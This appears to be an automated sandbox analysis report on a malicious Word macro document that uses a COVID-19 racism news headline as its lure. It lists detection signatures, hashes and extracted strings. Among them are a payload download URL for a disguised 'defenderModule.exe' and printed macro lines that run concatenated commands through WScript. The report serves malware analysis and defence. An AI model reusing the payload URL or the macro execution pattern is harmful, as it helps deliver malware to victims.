Joe Sandbox Cloud Basic Analysis Report

Loading ...

Play interactive tourEdit tour

Analysis Report Medica negra morre covid-19 apos racismo.docm

Overview

General Information

Sample Name:Medica negra morre covid-19 apos racismo.docm
Analysis ID:334232
MD5:549943fa268b65fee546e7adda0f06ba
SHA1:0ffc18af6916d88bf456f32a2e85b85e56b6c109
SHA256:c221dc10d175c2f3fb8366ad3aada1cf06c74ad8483a4a67bf62a0702b41c6f5
Tags:COVID-19docmgeoOutlookPRT

Most interesting Screenshot:

Errors
  • Corrupt sample or wrongly selected analyzer.

Detection

Score:68
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Document contains an embedded VBA macro which may execute processes
Document contains an embedded VBA macro with suspicious strings
Document contains an embedded VBA with base64 encoded strings
Document contains an embedded VBA with functions possibly related to ADO stream file operations
Document contains an embedded VBA with functions possibly related to WSH operations (process, registry, environment, or keystrokes)
Document contains an embedded VBA with many string operations indicating source code obfuscation
Machine Learning detection for sample
Allocates a big amount of memory (probably used for heap spraying)
Document contains an embedded VBA macro which executes code when the document is opened / closed
Document contains embedded VBA macros
Document contains no OLE stream with summary information
Document has an unknown application name

Classification

Startup

  • System is w10x64
  • WINWORD.EXE (PID: 5544 cmdline: 'C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE' /Automation -Embedding MD5: 0B9AB9B9C4DE429473D6450D4297A123)
  • cleanup

Malware Configuration

No configs have been found

Yara Overview

No yara matches

Sigma Overview

No Sigma rule has matched

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

barindex
Machine Learning detection for sampleShow sources
Source: Medica negra morre covid-19 apos racismo.docmJoe Sandbox ML: detected
Source: winword.exeMemory has grown: Private usage: 0MB later: 79MB
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: http://olkflt.edog.officeapps.live.com/olkflt/outlookflighting.svc/api/glides
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: http://weather.service.msn.com/data.aspx
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://analysis.windows.net/powerbi/api
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://api.aadrm.com/
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://api.addins.omex.office.net/appinfo/query
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://api.addins.omex.office.net/appstate/query
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://api.diagnostics.office.com
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://api.diagnosticssdf.office.com
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://api.microsoftstream.com/api/
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://api.office.net
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://api.onedrive.com
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://api.powerbi.com/beta/myorg/imports
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://api.powerbi.com/v1.0/myorg/datasets
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://api.powerbi.com/v1.0/myorg/groups
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://apis.live.net/v5.0/
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://arc.msn.com/v4/api/selection
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://asgsmsproxyapi.azurewebsites.net/
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://augloop.office.com
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://augloop.office.com/v2
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://autodiscover-s.outlook.com/
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml
Source: vbaProject.binString found in binary or memory: https://bitbucket.org/seveca-emilia/onemoreslave/downloads/defenderModule.exe
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://cdn.entity.
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://cdn.odc.officeapps.live.com/odc/stat/images/OneDriveUpsell.png
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSignUpUpsell
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSyncClientUpsell
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://client-office365-tas.msedge.net/ab
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://clients.config.office.net/
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/android/policies
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/ios
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/mac
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/tenantassociationkey
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://cloudfiles.onenote.com/upload.aspx
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://config.edge.skype.com
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://config.edge.skype.com/config/v1/Office
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://config.edge.skype.com/config/v2/Office
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://contentstorage.omex.office.net/addinclassifier/officeentities
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://contentstorage.omex.office.net/addinclassifier/officeentitiesupdated
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://cortana.ai
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://cr.office.com
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://dataservice.o365filtering.com
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://dataservice.o365filtering.com/
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://dev0-api.acompli.net/autodetect
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://devnull.onenote.com
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://directory.services.
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://ecs.office.com/config/v2/Office
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://entitlement.diagnostics.office.com
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://entitlement.diagnosticssdf.office.com
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://excel.uservoice.com/forums/304936-excel-for-mobile-devices-tablets-phones-android
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://globaldisco.crm.dynamics.com
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://graph.ppe.windows.net
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://graph.ppe.windows.net/
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://graph.windows.net
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://graph.windows.net/
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/api/telemetry
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?cp=remix3d
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=icons&premium=1
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockimages&premium=1
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockvideos&premium=1
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsofticon?
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://incidents.diagnostics.office.com
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://incidents.diagnosticssdf.office.com
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=ClipArt
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Facebook
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://insertmedia.bing.office.net/odc/insertmedia
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/GetFreeformSpeech
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://lifecycle.office.com
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://login.microsoftonline.com/
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://login.windows-ppe.net/common/oauth2/authorize
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://login.windows.local
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://login.windows.net/common/oauth2/authorize
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://loki.delve.office.com/api/v1/configuration/officewin32/
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://lookup.onenote.com/lookup/geolocation/v1
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://management.azure.com
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://management.azure.com/
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://messaging.office.com/
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://ncus-000.contentsync.
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://ncus-000.pagecontentsync.
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://o365auditrealtimeingestion.manage.office.com
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://o365auditrealtimeingestion.manage.office.com/api/userauditrecord
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://o365diagnosticsppe-web.cloudapp.net
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://ocos-office365-s2s.msedge.net/ab
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://ofcrecsvcapi-int.azurewebsites.net/
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://officeapps.live.com
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://officeci.azurewebsites.net/api/
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://officesetup.getmicrosoftkey.com
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://ogma.osi.office.net/TradukoApi/api/v1.0/
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://onedrive.live.com
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://onedrive.live.com/embed?
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://outlook.office.com/
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://outlook.office.com/autosuggest/api/v1/init?cvid=
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://outlook.office365.com/
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://outlook.office365.com/api/v1.0/me/Activities
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://outlook.office365.com/autodiscover/autodiscover.json
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://ovisualuiapp.azurewebsites.net/pbiagave/
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://partnerservices.getmicrosoftkey.com/PartnerProvisioning.svc/v1/subscriptions
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://portal.office.com/account/?ref=ClientMeControl
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://posarprodcssservice.accesscontrol.windows.net/v2/OAuth2-13
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://powerlift-frontdesk.acompli.net
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://powerlift.acompli.net
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://prod-global-autodetect.acompli.net/autodetect
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://res.getmicrosoftkey.com/api/redemptionevents
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://rpsticket.partnerservices.getmicrosoftkey.com
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://settings.outlook.com
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://shell.suite.office.com:1443
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://skyapi.live.net/Activity/
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://sr.outlook.office.net/ws/speech/recognize/assistant/work
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://storage.live.com/clientlogs/uploadlocation
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://store.office.cn/addinstemplate
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://store.office.com/?productgroup=Outlook
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://store.office.com/addinstemplate
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://store.office.de/addinstemplate
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://store.officeppe.com/addinstemplate
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://tasks.office.com
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://templatelogging.office.com/client/log
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.desktop.html
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.immersive.html
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://visio.uservoice.com/forums/368202-visio-on-devices
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://web.microsoftstream.com/video/
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://webshell.suite.office.com
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://wus2-000.contentsync.
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://wus2-000.pagecontentsync.
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://www.bingapis.com/api/v7/urlpreview/search?appid=E93048236FE27D972F67C5AF722136866DF65FA2
Source: 8CE411D0-944A-475F-831C-DB1313AF15FE.0.drString found in binary or memory: https://www.odwebp.svc.ms

System Summary:

barindex
Document contains an embedded VBA macro which may execute processesShow sources
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: WshShell.Run "firefox.exe sample.html", 1, False
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: WshShell.Run "firefox.exe sample.html", 1, False
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: WshShell.Run "firefox.exe sample.html", 1, False
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: WshShell.Run "firefox.exe sample.html", 1, FalseSet objAdminIS = CreateObject("Microsoft.ISAdm")
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: WshShell.Run "firefox.exe sample.html", 1, FalseSet objAdminIS = CreateObject("Microsoft.ISAdm")
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: WshShell.Run "firefox.exe sample.html", 1, FalseSet objAdminIS = CreateObject("Microsoft.ISAdm")
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: WshShell.Run "firefox.exe sample.html", 1, False
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: WshShell.Run "firefox.exe sample.html", 1, FalseSet objAdminIS = CreateObject("Microsoft.ISAdm")
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: WshShell.Run "firefox.exe sample.html", 1, FalseSet objAdminIS = CreateObject("Microsoft.ISAdm")
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: WshShell.Run "firefox.exe sample.html", 1, False
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: WshShell.Run "firefox.exe sample.html", 1, False
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: WshShell.Run "firefox.exe sample.html", 1, FalseSet objAdminIS = CreateObject("Microsoft.ISAdm")
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: WshShell.Run "firefox.exe sample.html", 1, FalseSet objAdminIS = CreateObject("Microsoft.ISAdm")
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: WshShell.Run "firefox.exe sample.html", 1, FalseSet objAdminIS = CreateObject("Microsoft.ISAdm")
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: WshShell.Run "firefox.exe sample.html", 1, False
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: WshShell.Run "firefox.exe sample.html", 1, False
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: WshShell.Run "firefox.exe sample.html", 1, FalseSet objAdminIS = CreateObject("Microsoft.ISAdm")
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: WshShell.Run "firefox.exe sample.html", 1, FalseSet objAdminIS = CreateObject("Microsoft.ISAdm")
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: WshShell.Run "firefox.exe sample.html", 1, FalseSet objAdminIS = CreateObject("Microsoft.ISAdm")
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: WshShell.Run "firefox.exe sample.html", 1, False
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: ws2asd.exec (str1 + str2 + str3 + str)
Document contains an embedded VBA macro with suspicious stringsShow sources
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo n
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: folder = Left(Wscript.ScriptFullName, InStrRev(Wscript.ScriptFullName, "\"))
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Set Shell = CreateObject("Wscript.Shell")
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo vbCrLf & "DHCP Records"
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo vbCrLf & "Event ID: " & arrDHCPRecord(0)
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Date: " & arrDHCPRecord(1)
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Time: " & arrDHCPRecord(2)
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Description: " & arrDHCPRecord(3)
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "IP Address: " & arrDHCPRecord(4)
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Host Name: " & arrDHCPRecord(5)
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "MAC Address: " & arrDHCPRecord(6)
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo vbCrLf & "Number of DHCP records read: " & i
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo vbCrLf & "DHCP Records"
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo vbCrLf & "Event ID: " & arrDHCPRecord(0)
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Date: " & arrDHCPRecord(1)
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Time: " & arrDHCPRecord(2)
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Description: " & arrDHCPRecord(3)
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "IP Address: " & arrDHCPRecord(4)
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Host Name: " & arrDHCPRecord(5)
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "MAC Address: " & arrDHCPRecord(6)
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo vbCrLf & "Number of DHCP records read: " & i
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo vbCrLf & "DHCP Records"
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo vbCrLf & "Event ID: " & arrDHCPRecord(0)
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Date: " & arrDHCPRecord(1)
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Time: " & arrDHCPRecord(2)
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Description: " & arrDHCPRecord(3)
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "IP Address: " & arrDHCPRecord(4)
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Host Name: " & arrDHCPRecord(5)
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "MAC Address: " & arrDHCPRecord(6)
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo vbCrLf & "Number of DHCP records read: " & i
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo vbCrLf & "DHCP Records"
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo vbCrLf & "Event ID: " & arrDHCPRecord(0)
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Date: " & arrDHCPRecord(1)
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Time: " & arrDHCPRecord(2)
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Description: " & arrDHCPRecord(3)
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "IP Address: " & arrDHCPRecord(4)
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Host Name: " & arrDHCPRecord(5)
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "MAC Address: " & arrDHCPRecord(6)
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo vbCrLf & "Number of DHCP records read: " & i
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo vbCrLf & "DHCP Records"
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo vbCrLf & "Event ID: " & arrDHCPRecord(0)
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Date: " & arrDHCPRecord(1)
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Time: " & arrDHCPRecord(2)
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Description: " & arrDHCPRecord(3)
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "IP Address: " & arrDHCPRecord(4)
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Host Name: " & arrDHCPRecord(5)
